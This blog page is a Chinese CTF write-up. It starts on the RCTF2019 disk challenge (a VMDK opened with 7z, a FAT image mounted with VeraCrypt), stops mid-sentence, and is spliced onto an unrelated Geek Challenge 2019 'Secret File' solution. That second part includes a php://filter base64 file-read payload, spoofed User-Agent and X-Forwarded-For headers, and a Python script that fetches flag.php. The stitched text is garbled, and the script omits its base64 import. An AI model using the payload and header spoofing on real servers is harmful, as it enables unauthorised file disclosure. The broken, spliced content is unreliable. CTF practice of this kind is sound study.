BuuCTF难题详解| Misc | [RCTF2019]disk

本文详细解析了BuuCTF中一道涉及VMDK虚拟硬盘格式的难题,介绍了如何使用7z软件打开VMDK文件,利用VeraCrypt挂载并破解FAT格式的0.fat文件,最终揭示隐藏的flag密码。

栏目介绍

这题难点,在如何挂载。也是一个脑洞蛮大的题目。

BuuCTF难题详解| Misc | [RCTF2019]disk

P1:

我们获得的文件只有一个在这里插入图片描述
遇到这种文件,一般都是直接拿去内存取证的,然而我取了半天似乎没有什么有用的信息,然后这种文件是虚拟机里面的文件,请看介绍。

VMDK:(VMWare Virtual Machine Disk Format)是虚拟机VMware创建的虚拟硬盘格式,文件存在于VMware文件系统中,被称为VMFS(虚拟机文件系统)

这边我也学会一个技巧,遇到vmdk可以试试使用7z这个压缩软件打开在这里插入图片描述

P2:

分离出这个0.fat,fat这个文件,其实就是一个硬盘可以挂载

FAT格式: 即FAT16,这是MS-DOS和最早期的Win 95操作系统中最常见的磁盘分区格式。它采用16位的文件分配表,能支持最大为2GB的分区,几乎所有的操作系统都支持这一种格式,从DOS、Win
95、Win 97到现在的Win 98、Windows NT、Win
2000,但是在FAT16分区格式中,它有一个最大的缺点:磁盘利用效率低。因为在DOS和Windows系统中,磁盘文件的分配是以簇

### 极客大挑战 2019 Secret File 竞赛题目解析 #### 文件隐藏与访问控制机制分析 在极客大挑战 2019 中,`Secret.php` 页面位于特定服务器上 `https://Sycsecret.buuoj.cn`。为了成功获取该页面的内容并最终获得 flag,需要满足一系列条件: - 请求头中必须包含自定义的 User-Agent 字段设置为 "Syclover"[^3]。 -For 头部并将 IP 地址设为本地回环接口 (即 127.0.0.1),可以绕过某些基于地理位置的安全检测措施。 这些操作共同作用下能够使服务端认为当前请求来自合法客户端环境,从而允许访问受保护资源。 #### 利用 PHP 伪协议读取 Flag 文件内容 对于名为 `flag.php` 的敏感文件,直接尝试下载可能受到严格限制。此时可借助于PHP特有的过滤器功能来间接实现目标。具体方法是在URL路径后附加查询参数 `?file=php://filter/read=convert.base64-encode/resource=flag.php`,这会指示Web应用以Base64编码形式返回指定文件的数据流而不是实际执行其中代码[^5]。 这种方法巧妙利用了语言特性规避了传统意义上的权限验证流程,使得攻击者能够在不触碰原生防护机制的前提下完成数据泄露过程。 ```python import requests url = 'https://example.com/Secret.php' headers = { 'User-Agent': 'Syclover', 'Referer': url, 'X-Forwarded-For': '127.0.0.1' } params = {'file': 'php://filter/read=convert.base64-encode/resource=flag.php'} response = requests.get(url, headers=headers, params=params) if response.status_code == 200: decoded_content = base64.b64decode(response.text).decode('utf-8') print(decoded_content) else: print(f"Failed to retrieve content with status code {response.status_code}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值